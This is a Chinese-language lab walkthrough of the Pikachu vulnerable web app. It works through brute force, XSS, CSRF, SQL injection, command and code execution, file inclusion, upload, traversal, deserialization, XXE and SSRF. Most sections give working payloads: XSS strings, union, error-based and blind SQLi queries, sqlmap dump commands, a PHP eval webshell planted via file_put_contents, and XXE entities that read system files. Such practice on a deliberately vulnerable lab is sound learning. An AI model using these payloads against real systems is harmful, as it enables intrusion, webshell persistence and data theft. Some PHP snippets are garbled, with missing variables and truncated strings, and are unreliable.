
暴力破解
1.基于表单的暴力破解
bp抓包 暴力破解

将抓到的包放入Intruder,并标记用户名、密码,选择Cluster boomb(集束炸弹模式)开始爆破


成功破解
2.验证码绕过(on server)
bp抓包 暴力破解 步骤同上 (验证码可绕过 在bp里 验证码无需刷新 在这里会一直有效,验证码只在前段验证)


成功破解
3.验证码绕过(on client)
bp抓包 暴力破解 步骤同上 (验证码可绕过 在bp里 验证码无需刷新 在这里会一直有效,验证码只在前段验证)


成功破解
4.token防爆破
pb抓包发现这里做了 token 验证 需要在爆破时添加 该payload

payload 类型选择 Recursive grep(递归提取)

最大并发请求 设置为 1


重新获取相应 选择我们需要的部分, 系统会自动配置

这里已经添加进来了 开启爆破

成功破解
2.Cross-Site Scripting(XSS)
1.反射型xss(get)
输入XSS语句:alert("XSS"),发现限制了输入长度

F12 进入开发者模式 将20 修改成 40



2.反射型xss(post)
登录 这里是通过post请求体传递 xss 的


3.存储型xss
输入 alert("你已被入侵")


4.DOM型xss
输入 alert("XSS") 没有分反应 F12查看
这里做成了 链接跳转 我们的弹窗失效了 我们的思路是让 href 闭合 添加新的弹窗

试试:'><img src="#" onmouseover="alert('xss')">
试试:' onclick="alert('xss')">
闭合掉就行

5.DOM型xss-x
与4.DOM型xss 一样的 只是需要点击两次 这里不在演示
6.xss盲打
提交后 没有反应 这里是提交到后台 在后台查看


7.xss之过滤
点击没有反应 被过滤了 这里 修改大小写 即可绕过 或者更换上文的
<img src="#" onmouseover="alert('xss')" 也是可以的


8.xss之htmlspecialchars
htmlspecialchars 是一种常用的 PHP 函数,用于将特殊字符转换为 HTML 实体,以防止 XSS 攻击和其他安全漏洞。
这个函数将特殊字符转换为等效的 HTML 实体,包括将 < 转换为 <、将 > 转换为 >、将 " 转换为 " 等。这样做可以确保用户输入的内容不会被浏览器解释为 HTML 或 JavaScript 代码,从而防止 XSS 攻击。 但是默认对 ' 不做处理。
' onclick='alert(111)'
javascript:alert(/xss/)

9.xss之href输出
输入 javascript:alert(/xss/)

10.xss之js输出
我们输入 javascript:alert(/xss/)
<script>alert("XSS")</script> 都不行
根据提示 我们输入 tmac
查看前端代码
<script>
$ms='tmac';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
我们把tmac 闭合 变成
</script><script>alert('xss')</script>


CSRF
1.CSRF(get) login.
登录


右键

复制这个html 保存到pikachu目录下 我们访问这个html 时就会修改信息



2.CSRF(post)
bp抓包 信息在 请求体里面
POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 从而修改用户信息,有点复杂,就不演示了

3.CSRF Token
bp抓包 加了token之后,每一次请求服务端都会给用户发送一个随机码。

Sql Inject(SQL注入)
1.数字型注入 在post里面

我们先猜想一下查询语句原理:
id=_POST['id'];
select name,email from users where id=1; //大概就是将输入的id传进去
构造payload:
select name,email from users where id=1 or 1 = 1;
SQL注入成功,爆出当前的所有信息,我们继续使用联合查询爆出其他信息。

id=1 // 构造sql语句
id=1 union select 1,2 // 发现有两个字段
id=1 union select 1,database() //爆数据库名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' //爆表名
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' AND table_schema='pikachu' //爆字段
id=1 union select username,password from pikachu.users //爆数据



2.字符型注入
题目明确给出了是字符型的注入,则传递的参数在SQL语句中是有单引号或者双引号的。
测试
' or 1=1 # // 显示
" or 1=1 # // 报错
爆库爆表等操作直接拼接即可。

3.搜索型注入
在此题我们同样是考虑闭合和单双引号,由上题可知这个靶场的作者用的全是单引号
我们直接遍历当前表的数据:
xxx%'or 1=1#

4.xx型注入
不知道什么是XX型,但是我们要清楚,不管是什么类型只要能成功闭合就NB,我们去看看后端代码:
name=_GET['name'];
//这里的变量是字符型,需要考虑闭合
query="select id,email from member where username=('name')";
//构造闭合 select id,email from member where username=('') or 1=1#');
//闭合语句: ') or 1=1#

5."insert/update"注入:
insert/update 再结合靶场,很明显这里是通过注册来插入或者修改来存放数据。也就是 mysql 的 插入和 修改 语句。这个就是属于不回显,最先想到的是报错注入
' or extractvalue(1, concat(0x5c,(select database()),0x5c)) or ' //库名
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x5c)) or ' //表名
' or extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x5c)) or ' //字段名
' or extractvalue(1, concat(0x7e,(select group_concat(id) from pikachu.users),0x7e)) or ' // 数据


6.delete注入
删除键 bp抓包 id 是可以注入的 ,我们换种方式,使用sqlmap工具

将bp 抓包的请求文件保存到 kali 里面 使用kali自带的sqlmap爆破 注意ip地址的填写

sqlmap -r '/home/kali/1' --dbs //爆数据库
sqlmap -r '/home/kali/1' -D pikachu --tables //爆表明
sqlmap -r '/home/kali/1' -D pikachu -T users --dump //爆字段及数据



7."http header"注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
我们先登录看看,很明显是后端对我们的客户端信息进行了获取。
我们用bp抓包,把 user-agent 修改,放包,查看回显,发现报错,可以判断这个存在SQL注入。这里可能是获取了user-agent 信息,再 insert 到数据库。我们直接构造payload。


- `报错注入:`
`1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '`
8.基于boolian的盲注
基于boolean的盲注主要表现症状:
1.没有报错信息。
2.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)2.在正确的输入下,输入and 1=1/and 1=2发现可以判断。
经过多次测试发现:
kobe' and 1=1#
kobe' and 1=2#
第一个有正确的回显,第二个不是,则可以判断出这个存在注入。

很明显回显只有两种,且我们的语句都为真,才能出现正确的回显。我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符。(超级麻烦,建议这种直接交给工具)。
我们先来对数据库名的长度来判断。
kobe' and length(database())>6#
kobe' and length(database())>7#

这里就可以判断出数据库的长度为7。
我们再对第一个字符进行判断。
kobe' and ascii(substr(database(),1,1))=112# //ascii表 112对应p
这里就可以判断出数据库的第一个字符为p,以此类推可以判断出所有的字符。
9. 基于时间的盲注:
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是"时间",通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload: 1 and sleep(5)#
这里不管输入啥,回显都是一样的。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
可以判断出,当前数据库名的第一个字符为p。

10. wide byte注入:
php和mysql默认的字符集不同。
宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠"\",变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv('utf-8','gbk',$_GET['id']),也可能导致注入产生。
' ---> '
%27 ---> %5c%27
%df%5c%27 --->%df%5c(被当成汉字)%27
由上,我们构造 payload:
kobe%df' or 1=1#

RCE
1.exec "ping"
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交"意想不到"的命令,从而让后台进行执行,从而控制整个后台服务器
我们首先得知道,逻辑运算符
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
Command 1||Command 2
当Command1执行成功,就不执行Command2,只有当Command1执行失败才会执行Command2。
Command 1|Command 2
不管Command1是否可以执行成功,都会写很执行Command2。
lunux:
Command 1;Command 2
终止Command 1执行Command 2。

2.exec "eval"
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
eval()函数:会将符合PHP 语法规范字符串当作php代码执行。
我们直接输入 phpinfo();

我们写一个一句话木马,再用webshell连接一下。
file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>');
使用蚁剑连接

File Inclusion(文件包含漏洞)
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
本地文件包含

我们就可以读取服务器上的本地文件。例如Windows上的 win.ini 文件,linux上的 /etc/passwd 文件等等。
这里发现不能用绝对路径,我们用相对路径成功读取系统文件。

C:/../../../../Windows\win.ini

远程文件包含
同样的原理,这里也是在 ?filename= 后边接上文件名进行传参。

接上 http://www.baidu.com 发现直接变成了 百度的页面

我们开启一个http服务,目录下放个生成一句话木马的php脚本,再写上url试试。

<?php
$myfile = fopen("shell.php", "w");
txt = '\_POST[kitha]);?>';
fwrite(myfile, txt);
fclose($myfile);
?>

再对应已经生成的木马文件,蚁剑连接。

unsafe filedownload
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,此时如果攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

下载地址 http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=rayal.png

即可下载 当前页面的源码,可以进行路径穿越来下载一些重要的配置文件来获取信息。
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php
漏洞的根本是没有对 filename 来进行过滤。
unsafe upfileupload
客户端check


修改这段修改
Content-Type: application/octet-stream
Content-Type: image/jpeg //改为

成功上传 并访问
服务端check
这题用上面的方法就可以通过了。
getimagesize()

这里修改类型 也无法通过 需要制作图片木马 而且 要靠其他漏洞来利用 文件包含漏洞

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../vul/unsafeupload/uploads/2025/12/03/9017266930408ecc335818448956.jpg &submit=%E6%8F%90%E4%BA%A4

over permission
水平越权
同等权限用户的越权
用户信息:lucy/123456,lili/123456,kobe/123456
这题的漏洞在于,点击查看个人信息后,查询通过获取url上的username来查询。而这个username可以被修改为其他用户,导致其他用户的消息泄露。


防御:
添加session验证,session中的用户名和查询的username是否一致
垂直越权:
不同权限的用户的越权,A>B但是B能使用A的权限即为完成垂直越权。
用户信息:admin/123456,pikachu/000000,admin是超级boss
登录admin用户,比pikachu用户多出"添加用户"的功能
url:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php

登录pikachu用户:
粘贴 admin 添加用户的url:
即可发现 pikachu也可以添加用户

目录遍历
原理和文件包含差不多,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样。

可以修改传参 遍历目录
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=t..\..\..\..\..\..\windows\win.ini

敏感信息泄露
F12 查看源码 存在敏感信息

PHP反序列化
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
源码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
if(isset($_POST['o'])){
s = _POST['o'];
if(!@unser = unserialize(s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
html.="\ {
}
POST 传进来的 反序列化参数 输出$test 显示 反序列化后 xss弹窗
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

XXE
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
读取系统文件:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY a SYSTEM "file:///C:/Windows/win.ini">
]>
<x>&a;</x>

读取源码xxe.php:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe.php">
]>
<foo>&xxe;</foo>

.爆破开放端口
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
按照两个端口访问速度来判断

Url重定向:
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

SSRF:
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
- PHP中下面函数的使用不当会导致SSRF:
- file_get_contents()
- fsockopen()
- curl_exec()
SSRF漏洞的危害
1)扫描内网开放的端口
2)读取主机任意文件
3)攻击内网应用,如redis,mysql等
1.SSRF(curl):
1)HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
2)file:本地文件传输协议,可以用来读取任意系统文件
3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell
file

http

dict协议扫描内网主机开放端口

SSRF(file_get_content)
file_get_contents() 是 PHP 中用于读取文件内容的函数之一。它可以读取一个文件的内容并将其作为字符串返回。
php://filter/读php源代码
php伪协议中有个读php源代码的php://filter/,来试试这个好不好使。比如我想看rce.php的源代码,就输入payload:

